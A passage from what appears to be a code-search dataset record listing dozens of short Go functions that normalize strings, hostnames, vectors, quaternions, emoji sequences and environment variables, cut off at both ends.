filepath.IsAbs(path) {\n\t\trel, err := filepath.Rel(\"/\", path)\n\t\tif err != nil {\n\t\t\tpanic(\"absolute filepath must be relative to /\")\n\t\t}\n\t\treturn rel\n\t}\n\treturn path\n}","func Normalize(path string) string {\n\tif filepath.IsAbs(path) {\n\t\trel, err := filepath.Rel(\"/\", path)\n\t\tif err != nil {\n\t\t\tpanic(\"absolute filepath must be relative to /\")\n\t\t}\n\t\treturn rel\n\t}\n\treturn path\n}","func NormalizedDistance(a, b []float32) (float32, error) {\n\tsim, err := cosineSim(a, b)\n\tif err != nil {\n\t\treturn 1, fmt.Errorf(\"normalized distance: %v\", err)\n\t}\n\n\treturn (1 - sim) / 2, nil\n}","func normalizeStr(str string) string {\n\treturn strings.Replace(str, \"/\", \"-\", -1)\n}","func NormalizeEmail(email string) string {\r\n\treturn strings.ToLower(strings.Trim(email, \" \"))\r\n}","func NormalizeHost(host string) (string, error) {\n\tvar buf bytes.Buffer\n\n\t// hosts longer than 253 characters are illegal\n\tif len(host) > 253 {\n\t\treturn \"\", fmt.Errorf(\"hostname is too long, should contain less than 253 characters\")\n\t}\n\n\tfor _, r := range host {\n\t\tswitch r {\n\t\t// has null rune just toss the whole thing\n\t\tcase '\\x00':\n\t\t\treturn \"\", fmt.Errorf(\"hostname cannot contain null character\")\n\t\t// drop these characters entirely\n\t\tcase '\\n', '\\r', '\\t':\n\t\t\tcontinue\n\t\t// replace characters that are generally used for xss with '-'\n\t\tcase '>', '<':\n\t\t\tbuf.WriteByte('-')\n\t\tdefault:\n\t\t\tbuf.WriteRune(r)\n\t\t}\n\t}\n\n\treturn buf.String(), nil\n}","func (mu *MuHash) normalize() {\n\tmu.numerator.Divide(&mu.denominator)\n\tmu.denominator.SetToOne()\n}","func Humanize(n uint64) string {\n\t// -1 precision removes trailing zeros\n\treturn HumanizeWithPrecision(n, -1)\n}","func NormalizeName(name string) string {\n\tname = strings.TrimLeft(name, \"_\")\n\treturn strings.ToUpper(name[:1]) + name[1:]\n}"],"string":"[\n \"func (h *FriendlyHost) Normalized() string {\\n\\thost, err := svchost.ForComparison(h.Raw)\\n\\tif err != nil {\\n\\t\\treturn InvalidHostString\\n\\t}\\n\\treturn string(host)\\n}\",\n \"func Normalize(s string) string {\\n\\ts = strings.ToLower(s)\\n\\ts = nonalpha.ReplaceAllString(s, \\\" \\\")\\n\\ts = encodings.ReplaceAllString(s, \\\"\\\")\\n\\ts = spaces.ReplaceAllString(s, \\\" \\\")\\n\\ts = strings.TrimSpace(s)\\n\\treturn s\\n}\",\n \"func Normalize(s string) string {\\n\\ts = reDeleteCriterion.ReplaceAllString(s, \\\"\\\")\\n\\treturn s\\n}\",\n \"func (t *Ticket) Normalize() (string, string) {\\n\\n\\twords := t.Words()\\n\\twords = t.Expand(words)\\n\\twords = t.Capitalize(words)\\n\\twords = t.Exchange(words)\\n\\twords = t.Eliminate(words)\\n\\n\\tsection := strings.Join(append(words, t.Number()), \\\" \\\")\\n\\n\\treturn t.Complete(section), t.capitalize(t.Row)\\n}\",\n \"func normalizeWhitespace(x string) string {\\n\\tx = strings.Join(strings.Fields(x), \\\" \\\")\\n\\tx = strings.Replace(x, \\\"( \\\", \\\"(\\\", -1)\\n\\tx = strings.Replace(x, \\\" )\\\", \\\")\\\", -1)\\n\\tx = strings.Replace(x, \\\")->\\\", \\\") ->\\\", -1)\\n\\treturn x\\n}\",\n \"func (d *Definitions) Normalize() {\\n\\tmaxLength, max := 0, 0\\n\\tfor _, definition := range *d {\\n\\t\\tif length := len(definition.Sense); length > maxLength {\\n\\t\\t\\tmaxLength = length\\n\\t\\t}\\n\\t\\tfor _, sense := range definition.Sense {\\n\\t\\t\\tif length := len([]rune(sense)); length > max {\\n\\t\\t\\t\\tmax = length\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\tfiller := \\\"\\\"\\n\\tfor i := 0; i < max; i++ {\\n\\t\\tfiller += \\\" \\\"\\n\\t}\\n\\tfor i, definition := range *d {\\n\\t\\tfor _, sense := range definition.Sense {\\n\\t\\t\\tfill := max - len(sense)\\n\\t\\t\\tfor j := 0; j < fill; j++ {\\n\\t\\t\\t\\t(*d)[i].Ordinal += \\\" \\\"\\n\\t\\t\\t}\\n\\t\\t\\t(*d)[i].Ordinal += sense\\n\\t\\t}\\n\\t}\\n}\",\n \"func Normalize(name string) string {\\n\\tfargs := func(c rune) bool {\\n\\t\\treturn !unicode.IsLetter(c) && !unicode.IsNumber(c)\\n\\t}\\n\\t// get function\\n\\treturn strings.Join(strings.FieldsFunc(name, fargs), \\\"-\\\")\\n}\",\n \"func (v Vec) Normalized() Vec {\\n\\treturn v.Copy().Normalize()\\n}\",\n \"func Normalize(s string) string {\\n\\n // A transformation to remove non-spacing marks.\\n markT := func(r rune) bool { return unicode.Is(unicode.Mn, r) }\\n\\n // A transformation to remove clean non-letter runes.\\n mappingT := func(r rune) rune {\\n if !validRune[r] {\\n return ' '\\n }\\n return r\\n }\\n\\n // A chain of transformation for a string.\\n t := transform.Chain(\\n norm.NFKD,\\n transform.RemoveFunc(markT),\\n runes.Map(mappingT),\\n )\\n\\n r := transform.NewReader(strings.NewReader(s), t)\\n buf := new(bytes.Buffer)\\n buf.ReadFrom(r)\\n\\n trimmed := strings.Trim(space.ReplaceAllString(buf.String(), \\\" \\\"), \\\" \\\")\\n\\n return strings.ToLower(trimmed)\\n}\",\n \"func Normalize(input string) (result string, err error) {\\n\\treturn parser.Normalize(input)\\n}\",\n \"func normalizeStr(v string) string {\\n\\tv = strings.TrimSpace(v)\\n\\tv = regexp.MustCompile(`[^\\\\S\\\\r\\\\n]+`).ReplaceAllString(v, \\\" \\\")\\n\\tv = regexp.MustCompile(`[\\\\r\\\\n]+`).ReplaceAllString(v, \\\"\\\\n\\\")\\n\\n\\treturn v\\n}\",\n \"func NormalizeWhitespace(s string) string {\\n\\treturn S.Join(S.Fields(s), \\\" \\\")\\n}\",\n \"func Normalize(dataArray []byte) string {\\n\\tdata := strings.ReplaceAll(string(dataArray), \\\"\\\\r\\\", \\\" \\\")\\n\\tdata = strings.ReplaceAll(data, \\\"\\\\n\\\", \\\" \\\")\\n\\tdata = strings.ReplaceAll(data, \\\"\\\\t\\\", \\\" \\\")\\n\\tfor strings.Index(data, \\\" \\\") >= 0 {\\n\\t\\tdata = strings.ReplaceAll(data, \\\" \\\", \\\" \\\")\\n\\t}\\n\\treturn strings.TrimSpace(data)\\n}\",\n \"func Normalize(s string) string {\\n\\tif r, _, err := transform.String(\\n\\t\\ttransform.Chain(\\n\\t\\t\\tnorm.NFD,\\n\\t\\t\\trunes.Remove(runes.In(unicode.Mn)),\\n\\t\\t\\tnorm.NFC,\\n\\t\\t),\\n\\t\\tstrings.ToLower(s),\\n\\t); err == nil {\\n\\t\\treturn r\\n\\t}\\n\\n\\treturn s\\n}\",\n \"func (v Vec3) Normalized() Vec3 {\\n\\tf := 1.0 / v.Norm()\\n\\treturn Vec3{f * v[0], f * v[1], f * v[2]}\\n}\",\n \"func (v *RelaxedVersion) NormalizedString() NormalizedString {\\n\\tif v == nil {\\n\\t\\treturn \\\"\\\"\\n\\t}\\n\\tif v.version != nil {\\n\\t\\treturn v.version.NormalizedString()\\n\\t}\\n\\treturn NormalizedString(v.customversion)\\n}\",\n \"func (a Vec4) Normalized() Vec4 {\\n\\tlength := math.Sqrt(a.X*a.X + a.Y*a.Y + a.Z*a.Z + a.W*a.W)\\n\\treturn Vec4{a.X / length, a.Y / length, a.Z / length, a.W / length}\\n}\",\n \"func (a Vec2) Normalized() (v Vec2, ok bool) {\\n\\tlength := math.Sqrt(a.X*a.X + a.Y*a.Y)\\n\\tif Equal(length, 0) {\\n\\t\\treturn Vec2Zero, false\\n\\t}\\n\\treturn Vec2{\\n\\t\\ta.X / length,\\n\\t\\ta.Y / length,\\n\\t}, true\\n}\",\n \"func (q1 Quat) Normalize() Quat {\\n\\tlength := q1.Len()\\n\\n\\tif FloatEqual(1, length) {\\n\\t\\treturn q1\\n\\t}\\n\\tif length == 0 {\\n\\t\\treturn QuatIdent()\\n\\t}\\n\\tif length == InfPos {\\n\\t\\tlength = MaxValue\\n\\t}\\n\\n\\treturn Quat{q1.W * 1 / length, q1.V.Mul(1 / length)}\\n}\",\n \"func (gdt *Vector3) Normalized() Vector3 {\\n\\targ0 := gdt.getBase()\\n\\n\\tret := C.go_godot_vector3_normalized(GDNative.api, arg0)\\n\\n\\treturn Vector3{base: &ret}\\n\\n}\",\n \"func NormalizeTag(v string) string {\\n\\treturn normalize(v, true)\\n}\",\n \"func NormalizedName(s string) string {\\n\\treturn strings.Map(normalizedChar, s)\\n}\",\n \"func (n Notes) Normalized() Notes {\\n\\tnotes := make(Notes, 0)\\n\\tfor _, v := range n {\\n\\t\\tnotes = append(notes, v.Normalize())\\n\\t}\\n\\n\\treturn notes\\n}\",\n \"func (q Quat) Normalize() Quat {\\n\\tlength := q.Length()\\n\\tif length == 1 { // shortcut\\n\\t\\treturn q\\n\\t}\\n\\treturn Quat{q.W / length, q.X / length, q.Y / length, q.Z / length}\\n}\",\n \"func (v Quat) Normalize() Quat {\\n\\tl := v.Length()\\n\\tif l != 0 {\\n\\t\\tv.W /= l\\n\\t\\tv.X /= l\\n\\t\\tv.Y /= l\\n\\t\\tv.Z /= l\\n\\t}\\n\\treturn v\\n}\",\n \"func normalize(phone string) string {\\n\\t// bytes buffer is more efficient than string concatenation with +\\n\\tvar buf bytes.Buffer\\n\\tfor _, ch := range phone {\\n\\t\\tif ch >= '0' && ch <= '9' {\\n\\t\\t\\t// WriteRune: appends UTF-8 of input to buffer\\n\\t\\t\\tbuf.WriteRune(ch)\\n\\t\\t}\\n\\t}\\n\\n\\treturn buf.String()\\n}\",\n \"func JoinNormalized(n Normalization, base string, elem ...string) (string, error) {\\n\\tif n == NoNorm {\\n\\t\\treturn filepath.Join(append([]string{base}, elem...)...), nil\\n\\t}\\n\\treturn joinFold(n == FoldPreferExactNorm, base, elem...)\\n}\",\n \"func normalize(s string) string {\\n\\treturn strings.Replace(s, \\\"_\\\", \\\"-\\\", -1)\\n}\",\n \"func normalizeMetricName(s string) string {\\n\\tr1 := regWhitespace.ReplaceAllLiteral([]byte(s), []byte{'_'})\\n\\tr2 := bytes.Replace(r1, []byte{'/'}, []byte{'-'}, -1)\\n\\treturn string(regNonAlphaNum.ReplaceAllLiteral(r2, nil))\\n}\",\n \"func (event *MichelsonInitialStorage) Normalize(value *ast.TypedAst) []byte {\\n\\tb, err := value.ToParameters(\\\"\\\")\\n\\tif err != nil {\\n\\t\\treturn nil\\n\\t}\\n\\treturn b\\n}\",\n \"func normalize(d []byte) []byte {\\n\\t// Source: https://www.programming-books.io/essential/go/normalize-newlines-1d3abcf6f17c4186bb9617fa14074e48\\n\\t// replace CR LF \\\\r\\\\n (windows) with LF \\\\n (unix)\\n\\td = bytes.Replace(d, []byte{13, 10}, []byte{10}, -1)\\n\\t// replace CF \\\\r (mac) with LF \\\\n (unix)\\n\\td = bytes.Replace(d, []byte{13}, []byte{10}, -1)\\n\\treturn d\\n}\",\n \"func NormalizeTag(tag string) string {\\n\\ttag = strings.ToLower(tag)\\n\\treturn strings.Replace(tag, \\\"_\\\", \\\"-\\\", -1)\\n}\",\n \"func (u *User) Normalize() {\\n\\tu.Email = strings.TrimSpace(u.Email)\\n\\tu.Name = strings.TrimSpace(u.Name)\\n\\t// removes all non-number char, including + sign\\n\\tu.Phone = regexp.MustCompile(`\\\\D`).ReplaceAllString(strings.TrimSpace(u.Phone), \\\"\\\")\\n\\tr := regexp.MustCompile(\\\"^0+\\\")\\n\\tif r.MatchString(u.Phone) {\\n\\t\\tu.Phone = r.ReplaceAllString(u.Phone, \\\"\\\")\\n\\t\\tu.Phone = fmt.Sprintf(\\\"62%s\\\", u.Phone)\\n\\t}\\n\\n\\tu.Password = strings.TrimSpace(u.Password)\\n}\",\n \"func (n *composableNormalizer) Normalize(un *unstructured.Unstructured) error {\\n\\tfor i := range n.normalizers {\\n\\t\\tif err := n.normalizers[i].Normalize(un); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func canonicalizeToken(tok string, pkg schema.PackageReference) string {\\n\\t_, _, member, _ := DecomposeToken(tok, hcl.Range{})\\n\\treturn fmt.Sprintf(\\\"%s:%s:%s\\\", pkg.Name(), pkg.TokenToModule(tok), member)\\n}\",\n \"func (v *Vector) Normalize() *Vector {\\n\\tw := snrm2(len(v.vec), v.vec)\\n\\tsscal(len(v.vec), 1/w, v.vec)\\n\\treturn v\\n}\",\n \"func precompute(s string) string {\\n\\ttrimmed := strings.TrimSpace(strings.ToLower(punctuationReplacer.Replace(s)))\\n\\n\\t// UTF-8 normalization\\n\\tt := transform.Chain(norm.NFD, runes.Remove(runes.In(unicode.Mn)), norm.NFC) // Mn: nonspacing marks\\n\\tresult, _, _ := transform.String(t, trimmed)\\n\\treturn result\\n}\",\n \"func Normalize(v Vect) Vect {\\n\\t// Neat trick I saw somewhere to avoid div/0.\\n\\treturn Mult(v, 1.0/(Length(v)+f.FloatMin))\\n}\",\n \"func normalize(s string) string {\\n\\tvar sb strings.Builder\\n\\tfor _, c := range s {\\n\\t\\tif !unicode.IsLetter(c) && !unicode.IsNumber(c) {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tsb.WriteRune(unicode.ToLower(c))\\n\\t}\\n\\treturn sb.String()\\n}\",\n \"func (v *Vector) Normalize() *Vector {\\n\\tl := v.Length()\\n\\treturn &Vector{X: v.X / l, Y: v.Y / l, Z: v.Z / l}\\n}\",\n \"func NewNormalizer() *Normalizer { return &Normalizer{Norm: \\\"l2\\\", Axis: 1} }\",\n \"func NewNormalizer() Normalizer {\\n\\tentity := Normalizer{\\n\\t\\tversion: \\\"0.1.0\\\",\\n\\t\\tname: \\\"Local Git Repository\\\",\\n\\t\\tslug: \\\"local-git\\\",\\n\\t}\\n\\n\\treturn entity\\n}\",\n \"func (vn *VecN) Normalize(dst *VecN) *VecN {\\n\\tif vn == nil {\\n\\t\\treturn nil\\n\\t}\\n\\n\\treturn vn.Mul(dst, 1/vn.Len())\\n}\",\n \"func normalizeNewTeamName(in string) (out string) {\\n\\tout = in\\n\\tif len(out) > 50 {\\n\\t\\tout = out[:50]\\n\\t}\\n\\tout = strings.TrimSpace(out)\\n\\tif strings.HasPrefix(strings.ToLower(out), \\\"the \\\") {\\n\\t\\tout = strings.TrimSpace(out[3:])\\n\\t}\\n\\t// \\\"Team Burninators\\\" and \\\"Burninators\\\" are two ways of saying same thing\\n\\tif strings.HasPrefix(strings.ToLower(out), \\\"team \\\") {\\n\\t\\tout = strings.TrimSpace(out[4:])\\n\\t}\\n\\tout = strings.TrimSpace(out)\\n\\tif strings.HasPrefix(out, \\\"/\\\") {\\n\\t\\tout = strings.Replace(out, \\\"/\\\", \\\"-\\\", 1)\\n\\t}\\n\\tif strings.HasPrefix(out, \\\".\\\") {\\n\\t\\tout = strings.Replace(out, \\\".\\\", \\\"-\\\", 1)\\n\\t}\\n\\treturn\\n}\",\n \"func Normalize(v *Vec) *Vec {\\n\\treturn Divide(v, v.Magnitude())\\n}\",\n \"func (p *Vect) Normalize() {\\n\\t// Neat trick I saw somewhere to avoid div/0.\\n\\tp.Mult(1.0 / (p.Length() + f.FloatMin))\\n}\",\n \"func preprocess(input string) string {\\n input = strings.TrimRight(input, \\\"\\\\n.!\\\")\\n input = strings.ToLower(input)\\n\\n formattedInput := strings.Split(input, \\\" \\\")\\n\\tfor i, word := range formattedInput {\\n\\t\\tformattedInput[i] = strings.ToLower(strings.Trim(word, \\\".! \\\\n\\\"))\\n }\\n \\n formattedInput = PostProcess(formattedInput)\\n\\n input = strings.Join(formattedInput,\\\" \\\")\\n\\n return input\\n}\",\n \"func TrimSpace(ctx context.Context, t *mold.Transformer, v reflect.Value) error {\\n\\tv.Set(reflect.ValueOf(strings.TrimSpace(v.String())))\\n\\treturn nil\\n}\",\n \"func TruncatedNormal(scope *Scope, shape tf.Output, dtype tf.DataType, optional ...TruncatedNormalAttr) (output tf.Output) {\\n\\tif scope.Err() != nil {\\n\\t\\treturn\\n\\t}\\n\\tattrs := map[string]interface{}{\\\"dtype\\\": dtype}\\n\\tfor _, a := range optional {\\n\\t\\ta(attrs)\\n\\t}\\n\\topspec := tf.OpSpec{\\n\\t\\tType: \\\"TruncatedNormal\\\",\\n\\t\\tInput: []tf.Input{\\n\\t\\t\\tshape,\\n\\t\\t},\\n\\t\\tAttrs: attrs,\\n\\t}\\n\\top := scope.AddOperation(opspec)\\n\\treturn op.Output(0)\\n}\",\n \"func (v *Vector) Normalize() *Vector {\\n\\n\\tif v.X == 0 && v.Y == 0 {\\n\\t\\treturn &Vector{\\n\\t\\t\\tX: 0, Y: 0,\\n\\t\\t}\\n\\t}\\n\\tmag := v.Length()\\n\\tx := (v.X / mag)\\n\\ty := (v.Y / mag)\\n\\treturn &Vector{\\n\\t\\tX: x,\\n\\t\\tY: y,\\n\\t}\\n}\",\n \"func (v Vector2) Normalize() Vector2 {\\n\\treturn v.ScalarMultiply(1.0 / v.Length())\\n}\",\n \"func (ed *Data) Normalize(raw string, opts StripOpts) string {\\n\\tpending := []rune{0}\\n\\n\\t// #0: Special-case single rune tone modifiers, which appear in test data.\\n\\tvar singleTone bool\\n\\tfor i, r := range raw {\\n\\t\\tif i == 0 && IsSkinTone(r) {\\n\\t\\t\\tsingleTone = true\\n\\t\\t} else {\\n\\t\\t\\tsingleTone = false\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n\\tif singleTone {\\n\\t\\treturn raw\\n\\t}\\n\\n\\t// #1: Remove VS16 and other modifiers.\\n\\tfor _, r := range raw {\\n\\t\\tif r == runeVS16 {\\n\\t\\t\\t// remove VS16\\n\\t\\t\\tcontinue\\n\\t\\t} else if IsSkinTone(r) {\\n\\t\\t\\tif opts.Tone {\\n\\t\\t\\t\\t// strip without checking\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t\\tl := len(pending)\\n\\t\\t\\tif d, ok := ed.emoji[pending[l-1]]; ok && d.modifierBase {\\n\\t\\t\\t\\t// great, skin tone is valid here\\n\\t\\t\\t\\tpending = append(pending, r)\\n\\t\\t\\t}\\n\\t\\t\\tcontinue\\n\\t\\t} else if IsGender(r) && opts.Gender {\\n\\t\\t\\t// remove gender modifiers\\n\\t\\t\\tl := len(pending)\\n\\t\\t\\tif pending[l-1] == runeZWJ {\\n\\t\\t\\t\\t// ... and drop a previous ZWJ if we find one\\n\\t\\t\\t\\tpending = pending[:l-1]\\n\\t\\t\\t}\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tpending = append(pending, r)\\n\\t}\\n\\tpending = append(pending, 0)\\n\\n\\t// #2: Iterate chars, removing non-emoji.\\n\\tlp := len(pending) - 1\\n\\tout := make([]rune, 0, lp)\\n\\tvar pendingZWJ int\\n\\tvar allowZWJ int\\n\\tfor i := 1; i < lp; i++ {\\n\\t\\tr := pending[i]\\n\\t\\tif r == runeZWJ {\\n\\t\\t\\tif allowZWJ == i {\\n\\t\\t\\t\\tpendingZWJ = i + 1 // add it before valid rune at next index\\n\\t\\t\\t}\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tprev := pending[i-1]\\n\\n\\t\\tif r == runeCap {\\n\\t\\t\\t// allow if previous was number\\n\\t\\t\\tif IsBeforeCap(prev) {\\n\\t\\t\\t\\tout = append(out, r)\\n\\t\\t\\t\\tallowZWJ = i + 1\\n\\t\\t\\t}\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\tif IsTag(r) {\\n\\t\\t\\t// allow if following a base or previous tag\\n\\t\\t\\tif IsTagBase(prev) || IsTag(prev) {\\n\\t\\t\\t\\tout = append(out, r)\\n\\t\\t\\t}\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\tif IsTagCancel(r) {\\n\\t\\t\\t// allow if following a tag\\n\\t\\t\\tif IsTag(prev) {\\n\\t\\t\\t\\tout = append(out, r)\\n\\t\\t\\t}\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\tif IsTag(prev) {\\n\\t\\t\\t// cancel the tag sequence if we got this far\\n\\t\\t\\tout = append(out, runeTagCancel)\\n\\t\\t}\\n\\n\\t\\tif IsSkinTone(r) {\\n\\t\\t\\t// skin tone counts as a VS16, so look for a previous tone\\n\\t\\t\\tallowZWJ = i + 1\\n\\t\\t\\tl := len(out)\\n\\t\\t\\tif out[l-1] == runeVS16 {\\n\\t\\t\\t\\tout[l-1] = r\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t\\tout = append(out, r)\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\tif IsFlagPart(r) {\\n\\t\\t\\t// just allow\\n\\t\\t\\t// TODO(samthor): Are these part of the data? Do we need this branch?\\n\\t\\t\\tout = append(out, r)\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\tif d, ok := ed.emoji[r]; ok {\\n\\t\\t\\tif pendingZWJ == i {\\n\\t\\t\\t\\tout = append(out, runeZWJ)\\n\\t\\t\\t}\\n\\n\\t\\t\\tout = append(out, r)\\n\\t\\t\\tif d.unqualified {\\n\\t\\t\\t\\tif IsSkinTone(pending[i+1]) {\\n\\t\\t\\t\\t\\t// do nothing as this acts as a VS16\\n\\t\\t\\t\\t\\tcontinue\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t// stick a VS16 on the end\\n\\t\\t\\t\\tout = append(out, runeVS16)\\n\\t\\t\\t}\\n\\t\\t\\tallowZWJ = i + 1\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t}\\n\\n\\t// #3: Profit!\\n\\treturn string(out)\\n}\",\n \"func TestNormalizeString(t *testing.T) {\\n\\tvar ReplaceTests = []struct {\\n\\t\\tin string\\n\\t\\tout\\t string\\n\\t}{\\n\\t\\t{\\\"Lazy -_Dog\\\", \\\"LazyDog\\\"},\\n\\t}\\n\\tfor _,r := range(ReplaceTests) {\\n\\t\\tassert.Equal(t,normalizeString(r.in),r.out, \\\"strings don't match expected output\\\")\\n\\t}\\n}\",\n \"func (m Tags) Normalize() []model.Tag {\\n\\tresult := make(ByScope, len(m))\\n\\tcnt := 0\\n\\tfor _, t := range m {\\n\\t\\tresult[cnt] = t\\n\\t\\tcnt++\\n\\t}\\n\\tsort.Sort(result)\\n\\treturn result\\n}\",\n \"func NormalizeSymbol(symbol string) string {\\n\\treturn symbol\\n}\",\n \"func normalize(key string) string {\\n\\t// drop runes not in '[a-zA-Z0-9_]', with lowering\\n\\t// ':' is also dropped\\n\\treturn strings.Map(func(r rune) rune {\\n\\t\\tif (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '_' {\\n\\t\\t\\treturn r\\n\\t\\t}\\n\\t\\tif r >= 'A' && r <= 'Z' {\\n\\t\\t\\treturn 'a' + (r - 'A')\\n\\t\\t}\\n\\t\\treturn -1\\n\\t}, key)\\n}\",\n \"func (k *Kernel) Normalized() ConvolutionMatrix {\\n\\tsum := absum(k)\\n\\tw := k.Width\\n\\th := k.Height\\n\\tnk := NewKernel(w, h)\\n\\n\\t// avoid division by 0\\n\\tif sum == 0 {\\n\\t\\tsum = 1\\n\\t}\\n\\n\\tfor i := 0; i < w*h; i++ {\\n\\t\\tnk.Matrix[i] = k.Matrix[i] / sum\\n\\t}\\n\\n\\treturn nk\\n}\",\n \"func normalizeQN(qn string) (s string) {\\n\\ts = strings.Replace(strings.Trim(qn, \\\"[]\\\"), \\\"].[\\\", \\\".\\\", -1)\\n\\treturn s\\n}\",\n \"func Normalize(stmt Statement, reserved *ReservedVars, bindVars map[string]*querypb.BindVariable) error {\\n\\tnz := newNormalizer(reserved, bindVars)\\n\\t_ = SafeRewrite(stmt, nz.walkStatementDown, nz.walkStatementUp)\\n\\treturn nz.err\\n}\",\n \"func (t *Tuple) Normalize() *Tuple {\\n\\tmag := t.Magnitude()\\n\\tif mag == 0.0 {\\n\\t\\treturn t\\n\\t}\\n\\treturn Vector(t.x/mag, t.y/mag, t.z/mag)\\n\\n}\",\n \"func NormalizeSummonerName(summonerNames ...string) []string {\\n\\tfor i, v := range summonerNames {\\n\\t\\tsummonerName := strings.ToLower(v)\\n\\t\\tsummonerName = strings.Replace(summonerName, \\\" \\\", \\\"\\\", -1)\\n\\t\\tsummonerNames[i] = summonerName\\n\\t}\\n\\treturn summonerNames\\n}\",\n \"func wordSepNormalizeFunc(f *pflag.FlagSet, name string) pflag.NormalizedName {\\n\\tif strings.Contains(name, \\\"_\\\") {\\n\\t\\treturn pflag.NormalizedName(strings.Replace(name, \\\"_\\\", \\\"-\\\", -1))\\n\\t}\\n\\treturn pflag.NormalizedName(name)\\n}\",\n \"func (n Normalizer) Normalize(env []string) []string {\\n\\tvar normalized []string\\n\\n\\t// common\\n\\tnormalized = append(normalized, \\\"NCI=true\\\")\\n\\tnormalized = append(normalized, \\\"NCI_VERSION=\\\"+n.version)\\n\\tnormalized = append(normalized, \\\"NCI_SERVICE_NAME=\\\"+n.name)\\n\\tnormalized = append(normalized, \\\"NCI_SERVICE_SLUG=\\\"+n.slug)\\n\\n\\t// server\\n\\tnormalized = append(normalized, \\\"NCI_SERVER_NAME=local\\\")\\n\\tnormalized = append(normalized, \\\"NCI_SERVER_HOST=localhost\\\")\\n\\tnormalized = append(normalized, \\\"NCI_SERVER_VERSION=\\\")\\n\\n\\t// worker\\n\\tnormalized = append(normalized, \\\"NCI_WORKER_ID=local\\\")\\n\\tnormalized = append(normalized, \\\"NCI_WORKER_NAME=\\\")\\n\\tnormalized = append(normalized, \\\"NCI_WORKER_VERSION=\\\")\\n\\tnormalized = append(normalized, \\\"NCI_WORKER_ARCH=\\\"+runtime.GOOS+\\\"/\\\"+runtime.GOARCH)\\n\\n\\t// pipeline\\n\\tnormalized = append(normalized, \\\"NCI_PIPELINE_TRIGGER=manual\\\")\\n\\tnormalized = append(normalized, \\\"NCI_PIPELINE_STAGE_NAME=\\\")\\n\\tnormalized = append(normalized, \\\"NCI_PIPELINE_STAGE_SLUG=\\\")\\n\\tnormalized = append(normalized, \\\"NCI_PIPELINE_JOB_NAME=\\\")\\n\\tnormalized = append(normalized, \\\"NCI_PIPELINE_JOB_SLUG=\\\")\\n\\n\\t// container registry\\n\\tnormalized = append(normalized, \\\"NCI_CONTAINERREGISTRY_HOST=\\\"+common.GetEnvironment(env, \\\"NCI_CONTAINERREGISTRY_HOST\\\"))\\n\\tnormalized = append(normalized, \\\"NCI_CONTAINERREGISTRY_REPOSITORY=\\\"+common.GetEnvironmentOrDefault(env, \\\"NCI_CONTAINERREGISTRY_REPOSITORY\\\", strings.ToLower(common.GetDirectoryNameFromPath(common.GetGitDirectory()+string(os.PathSeparator)+\\\".git\\\"))))\\n\\tnormalized = append(normalized, \\\"NCI_CONTAINERREGISTRY_USERNAME=\\\"+common.GetEnvironment(env, \\\"NCI_CONTAINERREGISTRY_USERNAME\\\"))\\n\\tnormalized = append(normalized, \\\"NCI_CONTAINERREGISTRY_PASSWORD=\\\"+common.GetEnvironment(env, \\\"NCI_CONTAINERREGISTRY_PASSWORD\\\"))\\n\\n\\t// project\\n\\tnormalized = append(normalized, \\\"NCI_PROJECT_ID=\\\")\\n\\tnormalized = append(normalized, \\\"NCI_PROJECT_NAME=\\\")\\n\\tnormalized = append(normalized, \\\"NCI_PROJECT_SLUG=\\\")\\n\\tnormalized = append(normalized, \\\"NCI_PROJECT_DIR=\\\"+common.GetGitDirectory())\\n\\n\\t// repository\\n\\tnormalized = append(normalized, common.GetSCMArguments(common.GetGitDirectory())...)\\n\\n\\treturn normalized\\n}\",\n \"func (e *JobExecutor) normalizeCmd(cmd []string) string {\\n\\tconst whiteSpace = \\\" \\\"\\n\\n\\tnormalizedCmd := make([]string, 0, len(cmd))\\n\\tvars := []string{}\\n\\tfor idx, c := range cmd {\\n\\t\\tc = strings.Trim(c, whiteSpace)\\n\\t\\tif strings.Contains(c, whiteSpace) {\\n\\t\\t\\t// contains multiple command\\n\\t\\t\\tvars = append(vars, fmt.Sprintf(\\\"VAR%d=$(cat <<-EOS\\\\n%s\\\\nEOS\\\\n)\\\", idx, c))\\n\\t\\t\\tnormalizedCmd = append(normalizedCmd, fmt.Sprintf(`\\\"$VAR%d\\\"`, idx))\\n\\t\\t} else {\\n\\t\\t\\tnormalizedCmd = append(normalizedCmd, c)\\n\\t\\t}\\n\\t}\\n\\tcmdText := strings.Join(normalizedCmd, \\\" \\\")\\n\\tif len(vars) == 0 {\\n\\t\\t// simple command\\n\\t\\treturn cmdText\\n\\t}\\n\\treturn fmt.Sprintf(\\\"%s; %s\\\", strings.Join(vars, \\\";\\\"), cmdText)\\n}\",\n \"func (manager *ComposeStackManager) NormalizeStackName(name string) string {\\n\\treturn stackNameNormalizeRegex.ReplaceAllString(strings.ToLower(name), \\\"\\\")\\n}\",\n \"func (a Addr) Normalize() string {\\n\\t// separate host and port\\n\\taddr, port, err := net.SplitHostPort(string(a))\\n\\tif err != nil {\\n\\t\\taddr, port, _ = net.SplitHostPort(string(a) + \\\":53\\\")\\n\\t}\\n\\treturn net.JoinHostPort(addr, port)\\n}\",\n \"func StandardizeSpaces(s string) string {\\n\\treturn strings.Join(strings.Fields(s), \\\" \\\")\\n}\",\n \"func normalizeHelper(number string,\\n\\tnormalizationReplacements map[rune]rune,\\n\\tremoveNonMatches bool) string {\\n\\n\\tvar normalizedNumber = NewBuilder(nil)\\n\\tfor _, character := range number {\\n\\t\\tnewDigit, ok := normalizationReplacements[unicode.ToUpper(character)]\\n\\t\\tif ok 